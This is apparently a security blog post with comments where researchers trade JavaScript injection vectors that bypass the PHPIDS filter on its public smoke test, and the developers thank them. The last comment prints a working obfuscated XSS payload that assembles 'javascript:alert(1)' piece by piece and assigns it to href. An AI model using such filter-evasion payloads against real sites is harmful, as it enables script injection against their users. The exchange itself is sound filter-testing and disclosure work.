So you think you’re a hacker?

I’ve been testing the PHPIDS after Sirdarckcat tempted me with his post πŸ™‚ At first I created 2 simple vectors to make injection more difficult, then I spent a couple of hours coming up with a full tag and Javascript injection. I shall post the vector here once they have fixed it because it is quite dangerous and I don’t want their site open to attack. So if you think you are a good hacker, try and inject some javascript on their Smoke test, it isn’t as easy as it first looks.

Prove it

21 Responses to “So you think you’re a hacker?”

  1. Gareth Heyes writes:

    I’ve found another serious one. I’ll share when it’s fixed. Here’s the other one I did which has now been fixed:-


  2. .mario writes:


    Great work again – thx a lot! It led me to refactor the converter unit of the PHPIDS and I think I have found a pretty stable beta of the regex to check and de-assemble concatenations.

    I am very looking forward for the 0.4.0 release we are currently working on – the help of you guys is what helps improving it eminently.


  3. Gareth Heyes writes:

    This is also fixed now:-

  4. Gareth Heyes writes:

    Good work Mario/PHPIDS team, I really admire all your efforts on this because I know how difficult it is to protect against this stuff.

    I’ll look forward to hacking it again though πŸ˜‰

  5. .mario writes:

    always appreciated!

  6. Ronald writes:

    It almost looks like ASCII art, good job! πŸ™‚

  7. Gareth Heyes writes:

    Hehe thanks πŸ™‚

    I might try again soon cause I love a interesting challenge

  8. Gareth Heyes writes:

    Found another one (IE only):-
    I’ve had to base64 encode it because it causes conversation errors:-

  9. Gareth Heyes writes:

    and another:-

  10. Ronald writes:

  11. Gareth Heyes writes:

    Check this one out, creates javascript: and passes it to the URL property, only works in IE though.

  12. Gareth Heyes writes:

    Here’s my favorite:-

  13. Ronald writes:

    Yeah I think this will be an endless armsrace πŸ˜€

    btw do you know the Javascript functions:

    import() and export() ? It’s pretty cool cause you can export singed script data if import is called inside a signed script. I didn’t know this, there is a lot more to be learned in Javascript.

  14. Gareth Heyes writes:

    Nope didn’t know that but sounds cool, I’m gonna google it.

  15. Gareth Heyes writes:
  16. Gareth Heyes writes:

    Definitely an arms race, I just can’t see how they can prevent all of it because we can always come up with new ways of doing things.

    Still I’m impressed with their filters it isn’t that easy to come up with new vectors and I’ve done loads of complicated ones which don’t get through.

  17. Ronald writes:

    I meant:

    import function() or var

    export function() or var


    function a() {



    export a;

    misleading stuff I know πŸ™‚

  18. Gareth Heyes writes:

    Found any docs on that? I would be interested to read, I tried Mozilla but there’s not much stuff on it.

  19. Ronald writes:

    It is here:

    Be amazed what the ‘ol netscape can learn us, it’s almost forbidden knowledge. I read the whole book over the weekend, learned tons of new and old stuff.


  20. Gareth Heyes writes:

    This one’s awesome πŸ˜€

  21. Gareth Heyes writes:

    This one took ages cause it’s really tough now with their new filters:-

    s=function test2() {return ‘hrefjavascriptalert(1)a’;1,1}();
    void(a = {} );
    void(c = URL );
    a.c=function xyz() {return c[4] }();
    a.h1=function xyz() {return s[0] }();
    a.h2=function xyz() {return s[1] }();
    a.h3=function xyz() {return s[2] }();
    a.h4=function xyz() {return s[3] }();
    a.u1=function xyz() {return s[4] }();
    a.u2=function xyz() {return s[5] }();
    a.u3=function xyz() {return s[6] }();
    a.u4=function xyz() {return s[7] }();
    a.u5=function xyz() {return s[8] }();
    a.u6=function xyz() {return s[9] }();
    a.u7=function xyz() {return s[10] }();
    a.u8=function xyz() {return s[11] }();
    a.u9=function xyz() {return s[12] }();
    a.u10=function xyz() {return s[13] }();
    a.u11=function xyz() {return s[14] }();
    a.u12=function xyz() {return s[15] }();
    a.u13=function xyz() {return s[16] }();
    a.u14=function xyz() {return s[17] }();
    a.u15=function xyz() {return s[18] }();
    a.u16=function xyz() {return s[19] }();
    a.u17=function xyz() {return s[20] }();
    a.u18=function xyz() {return s[21] }();
    $_=function xyz() {return a.u1 + a.u2 + a.u3 + a.u4 + a.u5 + a.u6 + a.u7 + a.u8 + a.u9 + a.u10 + a.c + a.u11 + a.u12 + a.u13 + a.u14 + a.u15 + a.u16 + a.u17 + a.u18 }();
    for(i in x=this) x[a.h1+a.h2+a.h3+a.h4]=$_;